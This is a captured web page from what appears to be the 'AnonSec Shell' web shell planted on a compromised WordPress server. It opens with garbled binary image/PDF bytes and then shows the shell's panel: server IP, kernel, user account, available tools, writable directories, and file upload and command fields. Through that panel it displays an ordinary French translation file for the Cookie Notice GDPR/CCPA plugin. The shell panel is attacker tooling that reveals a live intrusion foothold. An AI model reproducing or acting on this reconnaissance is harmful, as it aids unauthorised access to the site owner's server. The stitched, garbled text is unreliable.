%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/wp-content/languages/plugins/cookie-notice-fr_FR.po
# Translation of Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-02-27 16:15:13+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: fr\n"
"Project-Id-Version: Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release)\n"

#: includes/settings.php:711
msgid "Is Cookie Compliance free?"
msgstr "Cookie Compliance est-il gratuit ?"

#: includes/settings.php:697
msgid "F.A.Q."
msgstr "F.A.Q."

#: includes/dashboard.php:72
msgid "Cookie Compliance"
msgstr "Cookie Compliance"

#: includes/dashboard.php:541
msgid "Last 30 days"
msgstr "30 derniers jours"

#: includes/dashboard.php:402
msgid "Traffic Overview"
msgstr "Aperçu du trafic"

#: includes/dashboard.php:433
msgid "View consent activity inside WordPress Dashboard"
msgstr "Voir l’activité de consentement dans le tableau de bord WordPress"

#: includes/dashboard.php:568
msgid "Days to go: %s"
msgstr "Jours restants : %s"

#: includes/settings.php:282
msgid "months"
msgstr "mois"

#: includes/settings.php:269
msgid "Save my preferences"
msgstr "Enregistrer mes préférences"

#: includes/settings.php:254
msgid "Personalized"
msgstr "Personnalisé"

#: includes/settings.php:253
msgid "Balanced"
msgstr "Équilibré"

#: includes/settings.php:252
msgid "Private"
msgstr "Privé"

#: cookie-notice.php:1380
msgid "Deactivate"
msgstr "Désactiver"

#: cookie-notice.php:1381
msgid "Deactivate & Submit"
msgstr "Désactiver et envoyer"

#: cookie-notice.php:1379
msgid "Cancel"
msgstr "Annuler"

#: cookie-notice.php:1365 includes/welcome.php:472
msgid "Other"
msgstr "Autre"

#: cookie-notice.php:1362
msgid "The Cookie Compliance default settings are too strict."
msgstr "Les réglages par défaut de Cookie Compliance sont trop stricts."

#: includes/welcome.php:480
msgid "Reject All, Accept Some, Accept All​"
msgstr "Tout rejeter, en accepter certains, tout accepter"

#: cookie-notice.php:1364
msgid "Support isn't timely."
msgstr "Le support n’est pas ponctuel."

#: includes/settings.php:221
msgid "Button color"
msgstr "Couleur du bouton"

#: cookie-notice.php:1354
msgid "We're sorry to see you go. Could you please tell us what happened?"
msgstr "Nous sommes désolés de vous voir partir. Pourriez-vous nous dire ce qui s’est passé ?"

#: includes/settings.php:259
msgid "Platinum"
msgstr "Platinum"

#: includes/settings.php:258
msgid "Gold"
msgstr "Gold"

#: includes/settings.php:257
msgid "Silver"
msgstr "Silver"

#: cookie-notice.php:1361
msgid "The Cookie Compliance consent choices (Silver, Gold, Platinum) are confusing."
msgstr "Les choix de consentement de Cookie Compliance (Silver, Gold, Platinum) prêtent à confusion."

#: cookie-notice.php:1360
msgid "The Cookie Compliance banner is too big."
msgstr "La bannière de Cookie Compliance est trop grande."

#: cookie-notice.php:1359
msgid "I found another plugin to use for the same task."
msgstr "J’ai trouvé une autre extension à utiliser pour la même tâche."

#: cookie-notice.php:820 cookie-notice.php:822
msgid "Dismiss Notice"
msgstr "Ignorer la notification"

#: includes/settings.php:264
msgid "Accept All"
msgstr "Tout accepter"

#: includes/settings.php:262
msgid "Reject All"
msgstr "Tout rejeter"

#: cookie-notice.php:1363
msgid "The web application user interface is not clear to me."
msgstr "L’interface utilisateur de l’application web n’est pas claire pour moi."

#: includes/welcome.php:375
msgid "Congratulations"
msgstr "Félicitations"

#: includes/welcome.php:357
msgid "I don’t want to create an account now"
msgstr "Je ne veux pas créer de compte maintenant"

#: includes/settings.php:281
msgid "month"
msgstr "mois"

#: includes/welcome.php:305
msgid "Free"
msgstr "Gratuit"

#: includes/settings.php:655 includes/welcome.php:304 includes/welcome.php:596
#: includes/welcome.php:694
msgid "Basic"
msgstr "De base"

#: includes/welcome.php:545
msgid "Create a Cookie Compliance™ account and select your preferred plan."
msgstr "Créez un compte Cookie Compliance™ et sélectionnez votre offre préférée."

#: includes/welcome.php:413
msgid "Checking..."
msgstr "Vérification…"

#: includes/welcome.php:627 includes/welcome.php:728
msgid "Submit"
msgstr "Soumettre"

#: includes/welcome.php:601 includes/welcome.php:702 includes/welcome.php:741
msgid "Confirm"
msgstr "Confirmer"

#: includes/welcome.php:590 includes/welcome.php:688
msgid "Select Plan"
msgstr "Sélectionner un plan"

#: cookie-notice.php:1328
msgid "Free Upgrade"
msgstr "Mise à niveau gratuite"

#: includes/privacy-consent-logs-list-table.php:279 includes/settings.php:272
msgid "Preferences"
msgstr "Préférences"

#: includes/welcome.php:129
msgid "Passed"
msgstr "Succès"

#: includes/welcome.php:130
msgid "Failed"
msgstr "Échec"

#: includes/settings.php:271
msgid "Do Not Sell"
msgstr "Ne pas vendre"

#: includes/privacy-consent.php:658 includes/settings.php:2181
msgid "Settings saved."
msgstr "Réglages enregistrés."

#: includes/privacy-consent.php:301 includes/privacy-consent.php:314
#: includes/privacy-consent.php:327 includes/welcome.php:421
msgid "Proof-of-Consent"
msgstr "Preuve de consentement"

#: includes/settings.php:808 includes/settings.php:947
#: includes/settings.php:961 includes/settings.php:980 includes/welcome.php:417
msgid "Autoblocking"
msgstr "Blocage automatique"

#: includes/welcome.php:683
msgid "Sign up"
msgstr "Créer un compte"

#: includes/welcome.php:658
msgid "Account Login"
msgstr "Connexion au compte"

#: includes/settings.php:948 includes/settings.php:962
#: includes/settings.php:981 includes/welcome.php:418
msgid "Cookie Categories"
msgstr "Catégories de cookie"

#: includes/welcome.php:683
msgid "Don't have an account yet?"
msgstr "Vous n’avez pas encore de compte ?"

#: includes/welcome.php:549
msgid "Create Account"
msgstr "Créer un compte"

#: includes/welcome.php:583
msgid "Already have an account?"
msgstr "Vous avez déjà un compte ?"

#: includes/settings.php:1069
msgid "Enter your Cookie Compliance™ application secret key."
msgstr "Saisir la clé secrète de votre application Cookie Compliance™"

#: includes/privacy-consent.php:312 includes/privacy-consent.php:313
#: includes/privacy-consent.php:314 includes/settings.php:961
#: includes/settings.php:962 includes/settings.php:963
#: includes/settings.php:1025 includes/settings.php:1026
msgid "Pending"
msgstr "En attente"

#: includes/privacy-consent.php:304 includes/privacy-consent.php:317
#: includes/settings.php:952 includes/settings.php:966
#: includes/settings.php:1017 includes/settings.php:1029
msgid "Log in & Configure"
msgstr "Connectez-vous & configurer"

#: includes/settings.php:821
msgid "Compliance status"
msgstr "État de la mise en conformité"

#: includes/settings.php:811 includes/settings.php:1100
msgid "Purge Cache"
msgstr "Vider le cache"

#: includes/privacy-consent.php:299 includes/privacy-consent.php:300
#: includes/privacy-consent.php:301 includes/settings.php:946
#: includes/settings.php:947 includes/settings.php:948
#: includes/settings.php:949 includes/settings.php:960
#: includes/settings.php:979 includes/settings.php:1013
#: includes/settings.php:1014
msgid "Active"
msgstr "Actif"

#: includes/privacy-consent.php:325 includes/privacy-consent.php:326
#: includes/privacy-consent.php:327 includes/settings.php:980
#: includes/settings.php:981 includes/settings.php:982
#: includes/settings.php:1037 includes/settings.php:1038
msgid "Inactive"
msgstr "Inactif"

#: includes/settings.php:804 includes/settings.php:823
msgid "App Key"
msgstr "Clé de l’application"

#: includes/settings.php:803 includes/settings.php:822
msgid "App ID"
msgstr "ID de l’application"

#: includes/settings.php:1102
msgid "Click the Purge Cache button to refresh the app configuration."
msgstr "Cliquer sur le bouton Supprimer Cache pour actualiser la configuration de l’extension."

#: includes/settings.php:1056
msgid "Enter your Cookie Compliance™ application ID."
msgstr "Saisir l’ID de votre application Cookie Compliance™"

#: includes/welcome.php:265
msgid "Skip for now"
msgstr "Ignorer pour le moment"

#: includes/welcome.php:761
msgid "Success!"
msgstr "Terminé !"

#: includes/welcome.php:583 includes/welcome.php:669
msgid "Sign in"
msgstr "Se connecter"

#: includes/welcome.php:623 includes/welcome.php:724
msgid "CVC/CVV"
msgstr "CVC/CVV"

#: includes/welcome.php:619 includes/welcome.php:720
msgid "Expiration Date"
msgstr "Date d’expiration"

#: includes/welcome.php:615 includes/welcome.php:716
msgid "Card Number"
msgstr "Numéro de carte"

#: includes/welcome.php:608 includes/welcome.php:709
msgid "Credit Card"
msgstr "Carte de crédit"

#: includes/welcome.php:606 includes/welcome.php:707
msgid "Payment Method"
msgstr "Moyen de paiement"

#: includes/welcome.php:561
msgid "Confirm Password"
msgstr "Confirmer le mot de passe"

#: includes/welcome.php:554 includes/welcome.php:663
msgid "Email address"
msgstr "Adresse e-mail"

#: includes/welcome.php:517
msgid "Color of the button text."
msgstr "Couleur du texte du bouton."

#: includes/welcome.php:516
msgid "Color of the heading text."
msgstr "Couleur du texte du titre."

#: includes/welcome.php:410
msgid "Site Name"
msgstr "Nom du site"

#: includes/welcome.php:409
msgid "Site URL"
msgstr "URL du site"

#: includes/welcome.php:513
msgid "Color of the banner background."
msgstr "Couleur de l’arrière-plan de la bannière."

#: includes/welcome.php:512
msgid "Color of the buttons and interactive elements."
msgstr "Couleur des boutons et des éléments interactifs."

#: includes/welcome.php:506
msgid "Center"
msgstr "Centré"

#: includes/welcome.php:496
msgid "Banner Design"
msgstr "Design de la bannière"

#: includes/welcome.php:466
msgid "CCPA"
msgstr "CCPA"

#: includes/welcome-api.php:307 includes/welcome-api.php:540
msgid "Password is not allowed to be empty."
msgstr "Mot de passe vide non autorisé."

#: includes/welcome-api.php:297 includes/welcome-api.php:531
msgid "Email is not allowed to be empty."
msgstr "E-mail vide non autorisé."

#. Author of the plugin
#: cookie-notice.php
msgid "Hu-manity.co"
msgstr "Hu-manity.co"

#. Author URI of the plugin
#: cookie-notice.php
msgid "https://hu-manity.co/"
msgstr "https://hu-manity.co/"

#: includes/welcome.php:609 includes/welcome.php:710
msgid "PayPal"
msgstr "PayPal"

#: includes/welcome.php:557 includes/welcome.php:666
msgid "Password"
msgstr "Mot de passe"

#: includes/welcome.php:569
msgid "Sign Up"
msgstr "S’inscrire"

#: includes/welcome.php:505
msgid "Right"
msgstr "Droite "

#: includes/welcome.php:504
msgid "Left"
msgstr "A gauche"

#: includes/welcome.php:465
msgid "GDPR"
msgstr "RGPD"

#. Plugin Name of the plugin
#: cookie-notice.php
msgid "Cookie Notice & Compliance for GDPR / CCPA"
msgstr "Cookie Notice & Compliance for GDPR / CCPA"

#: includes/welcome-api.php:35 includes/welcome-api.php:39
#: includes/welcome-api.php:46 includes/welcome-api.php:59
#: includes/welcome.php:207 includes/welcome.php:235 includes/welcome.php:238
msgid "You do not have permission to access this page."
msgstr "Vous n’avez pas la permission d’accéder à cette page."

#: includes/settings.php:1617
msgid "Bar opacity"
msgstr "Opacité de la barre"

#: includes/settings.php:837
msgid "Rejected expiry"
msgstr "Expiration refusée"

#: includes/settings.php:836
msgid "Accepted expiry"
msgstr "Expiration acceptée"

#: includes/settings.php:1458
msgid "The amount of time that the cookie should be stored for when user accepts the notice."
msgstr "La durée de conservation du cookie lorsque l’utilisateur ou l’utilisatrice accepte la notification."

#: includes/settings.php:1479
msgid "The amount of time that the cookie should be stored for when the user doesn't accept the notice."
msgstr "La durée de conservation du cookie lorsque l’utilisateur ou l’utilisatrice n’accepte pas la notification."

#: includes/settings.php:1567
msgid "Enable to accept the notice on any click on the page."
msgstr "Permettre d’accepter la notification au clic sur la page."

#: includes/settings.php:1551
msgid "Enable to accept the notice when user scrolls."
msgstr "Activer l’acceptation de la notification lorsque l’utilisateur fait défiler."

#: includes/settings.php:1536
msgid "Select the animation style."
msgstr "Sélectionnez le style d’animation."

#: includes/settings.php:1517
msgid "Select location for the notice."
msgstr "Sélectionnez l’emplacement de la notification."

#: includes/settings.php:1321
msgid "Enter the revoke message."
msgstr "Saisissez le message de révocation."

#: includes/settings.php:1270
msgid "The text of the button to refuse the consent."
msgstr "Le texte du bouton pour refuser le consentement."

#: includes/settings.php:1251
msgid "The text of the option to accept the notice and make it disappear."
msgstr "Le texte de l’option permettant d’accepter la notification et de la faire disparaître."

#: includes/settings.php:835
msgid "On click"
msgstr "Au clic"

#: includes/settings.php:830
msgid "Refuse consent"
msgstr "Refuser le consentement"

#: includes/settings.php:293 includes/settings.php:831
msgid "Revoke consent"
msgstr "Révoquer le consentement"

#: includes/settings.php:292
msgid "You can revoke your consent any time using the Revoke consent button."
msgstr "Vous pouvez révoquer votre consentement à tout moment en utilisant le bouton « Révoquer le consentement »."

#: includes/settings.php:199
msgid "Dark"
msgstr "Sombre"

#: includes/settings.php:198
msgid "Light"
msgstr "Clair"

#: includes/settings.php:1388
msgid "Select where to redirect user for more information."
msgstr "Sélectionnez où rediriger l’utilisateur ou l’utilisatrice pour plus d’informations."

#: includes/settings.php:1554
msgid "Number of pixels user has to scroll to accept the notice and make it disappear."
msgstr "Nombre de pixels que l’utilisateur ou l’utilisatrice doit faire défiler pour accepter la notification et la faire disparaître."

#: includes/settings.php:1435
msgid "Select the privacy policy link position."
msgstr "Sélectionnez la position du lien de politique de vie privée."

#: includes/settings.php:215
msgid "Banner"
msgstr "Bannière"

#: includes/settings.php:1378
msgid "The text of the privacy policy button."
msgstr "Le texte du bouton de politique de confidentialité."

#: includes/settings.php:204
msgid "Manual"
msgstr "Manuel"

#: includes/settings.php:203
msgid "Automatic"
msgstr "Automatique"

#: includes/settings.php:1592
msgid "Enter additional button CSS classes separated by spaces."
msgstr "Saisissez les classes CSS additionnelles du bouton, séparées par des espaces."

#: includes/settings.php:1425
msgid "Select the privacy policy link target."
msgstr "Sélectionnez la cible du lien de la politique de confidentialité."

#: includes/settings.php:1408
msgid "Synchronize with WordPress Privacy Policy page."
msgstr "Synchroniser avec la page WordPress de politique de confidentialité."

#: includes/settings.php:1375
msgid "Enable privacy policy link."
msgstr "Activer le lien de politique de confidentialité."

#: includes/settings.php:1299
msgid "The code to be used in your site footer, before the closing body tag."
msgstr "Le code à utiliser dans le pied de page de votre site, avant la balise de fermeture body."

#: includes/settings.php:1292
msgid "Body"
msgstr "Body"

#: includes/settings.php:1291
msgid "Head"
msgstr "Head"

#: includes/settings.php:1295
msgid "The code to be used in your site header, before the closing head tag."
msgstr "Le code à utiliser dans l’en-tête de votre site, avant la balise de fermeture head."

#: includes/settings.php:847
msgid "Button class"
msgstr "Classe du bouton"

#: includes/settings.php:228
msgid "An hour"
msgstr "Une heure"

#: includes/settings.php:270 includes/settings.php:294
#: includes/settings.php:829
msgid "Privacy policy"
msgstr "Politique de confidentialité"

#: includes/settings.php:1323
msgid "The text of the button to revoke the consent."
msgstr "Le texte du bouton pour révoquer le consentement."

#: includes/settings.php:833
msgid "Reloading"
msgstr "Rechargement"

#: includes/settings.php:1344
msgid "Enable to reload the page after the notice is accepted."
msgstr "Permettre de recharger la page après l’acceptation de la notification."

#: includes/settings.php:832
msgid "Script blocking"
msgstr "Blocage des scripts"

#: includes/settings.php:209
msgid "Custom link"
msgstr "Lien personnalisé"

#: includes/settings.php:208
msgid "Page link"
msgstr "Lien de page"

#: includes/settings.php:220
msgid "Text color"
msgstr "Couleur du texte"

#: includes/settings.php:222
msgid "Bar color"
msgstr "Couleur de la barre"

#: includes/settings.php:229
msgid "1 day"
msgstr "1 jour"

#: includes/settings.php:230
msgid "1 week"
msgstr "1 semaine"

#: includes/consent-logs-list-table.php:60 includes/settings.php:231
msgid "1 month"
msgstr "1 mois"

#: includes/consent-logs-list-table.php:62 includes/settings.php:232
msgid "3 months"
msgstr "3 mois"

#: includes/consent-logs-list-table.php:64 includes/settings.php:233
msgid "6 months"
msgstr "6 mois"

#: includes/consent-logs-list-table.php:66 includes/settings.php:234
msgid "1 year"
msgstr "1 année"

#: includes/settings.php:235
msgid "infinity"
msgstr "illimitée"

#: includes/settings.php:241
msgid "Fade"
msgstr "Fondu"

#: includes/settings.php:242
msgid "Slide"
msgstr "Glissement"

#: includes/dashboard.php:641 includes/settings.php:337
#: includes/settings.php:946 includes/settings.php:960
#: includes/settings.php:979 includes/welcome.php:416
msgid "Cookie Notice"
msgstr "Cookie Notice"

#: includes/settings.php:216 includes/settings.php:827
msgid "Message"
msgstr "Message"

#: includes/settings.php:828
msgid "Button text"
msgstr "Texte du bouton"

#: includes/settings.php:844
msgid "Position"
msgstr "Position"

#: includes/settings.php:846
msgid "Colors"
msgstr "Couleurs"

#: includes/settings.php:1391
msgid "-- select page --"
msgstr "-- sélectionner page --"

#: includes/settings.php:291
msgid "No"
msgstr "Non"

#: includes/settings.php:246
msgid "Header"
msgstr "En-tête"

#: includes/settings.php:247
msgid "Footer"
msgstr "Pied de page"

#: includes/settings.php:845
msgid "Animation"
msgstr "Animation"

#: includes/settings.php:816 includes/settings.php:840
msgid "Deactivation"
msgstr "Désactivation"

#: includes/settings.php:834
msgid "On scroll"
msgstr "Au défilement"

#: includes/settings.php:839
msgid "Script placement"
msgstr "Emplacement des scripts"

#: includes/settings.php:622
msgid "Reset to defaults"
msgstr "Réinitialiser les réglages"

#: includes/settings.php:1579
msgid "Enable if you want all plugin data to be deleted on deactivation."
msgstr "Cochez si vous voulez que toutes les données de l’extension soient supprimées à sa désactivation."

#: includes/privacy-consent.php:662 includes/settings.php:2185
msgid "Settings restored to defaults."
msgstr "Les réglages par défaut ont été restaurés."

#: includes/settings.php:1498
msgid "Select where all the plugin scripts should be placed."
msgstr "Sélectionner où placer les scripts de l’extension."

#: includes/settings.php:1402
msgid "Select from one of your site's pages."
msgstr "Sélectionnez une des pages de votre site."

#: includes/settings.php:1415
msgid "Enter the full URL starting with http(s)://"
msgstr "Saisissez l’URL complète commençant par http(s)://"

#: includes/settings.php:1266
msgid "Enable to give to the user the possibility to refuse third party non functional cookies."
msgstr "Activez pour donner la possibilité à l’utilisateur de refuser les cookies non fonctionnels de tierces parties."

#: includes/settings.php:1238
msgid "Enter the cookie notice message."
msgstr "Saisissez le message de notification des cookies."

#: includes/settings.php:289
msgid "We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it."
msgstr "Nous utilisons des cookies pour vous garantir la meilleure expérience sur notre site web. Si vous continuez à utiliser ce site, nous supposerons que vous en êtes satisfait."

#: cookie-notice.php:1313
msgid "Settings"
msgstr "Réglages"

#: includes/settings.php:2288
msgid "Are you sure you want to reset these settings to defaults?"
msgstr "Confirmez-vous vouloir réinitialiser tous les réglages aux valeurs par défaut ?"

#: includes/settings.php:290
msgid "Ok"
msgstr "OK"

#: includes/settings.php:192 includes/welcome.php:503
msgid "Top"
msgstr "Haut"

#: includes/settings.php:193 includes/welcome.php:502
msgid "Bottom"
msgstr "Bas"

#: includes/settings.php:197 includes/settings.php:240
msgid "None"
msgstr "Aucun"

#: includes/modules/wordpress/privacy-consent.php:38
msgid "WordPress"
msgstr "WordPress"

Anon7 - 2022
AnonSec Team